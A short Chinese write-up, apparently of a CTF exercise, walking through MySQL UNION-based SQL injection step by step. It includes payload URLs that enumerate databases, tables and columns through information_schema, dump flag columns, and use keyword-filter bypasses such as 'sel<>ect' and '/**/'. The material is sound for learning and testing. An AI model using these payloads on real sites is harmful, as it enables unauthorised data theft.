針對mysql的sql注入

//判斷order by後面的個數
http://xxx.com/index.php?id=1 order by 3

//判斷哪一個可回顯
http://xxx.com/index.php?id=-1 union sel<>ect 1,2,3

//注入數據庫名
http://xxx.com/index.php?id=-1 union sel<>ect 1,database(),3
//回顯,庫名
sqli

//注入表名
http://xxx.com/index.php?id=-1 union sel<>ect 1,group_concat(table_name),3 from information_schema.tables where table_schema='sqli'
//回顯,表名
info,users

//注入info表的列名
http://xxx.com/index.php?id=-1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='info'
//列名
id,title,flAg_T5ZNdrm

//注入users表的列名
http://xxx.com/index.php?id=-1 union sel<>ect 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
//列名
id,username,flag_9c861b688330

//注入sqli.info
http://xxx.com/index.php?id=-1 union sel<>ect 1,group_concat(id,title,flAg_T5ZNdrm),3 from sqli.info
//內容(flag打碼)
1flag{在數據庫中}flag{xxxxxxxxxxxxxxxxxxxxxxxx},2testtest

//注入sqli.users
http://xxx.com/index.php?id=-1 union sel<>ect 1,group_concat(id,username,flag_9c861b688330),3 from sqli.users
//內容
無回顯 不知道是表空 還是被過濾了。。

tips: 
1.有時候可嘗試 <> /**/ + 等符號繞過防禦函數,如果沒有任何防禦機制,可以把<>去掉。
2.一般union前面用id=-1(不存在的值)可以把多餘的東西去掉。
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章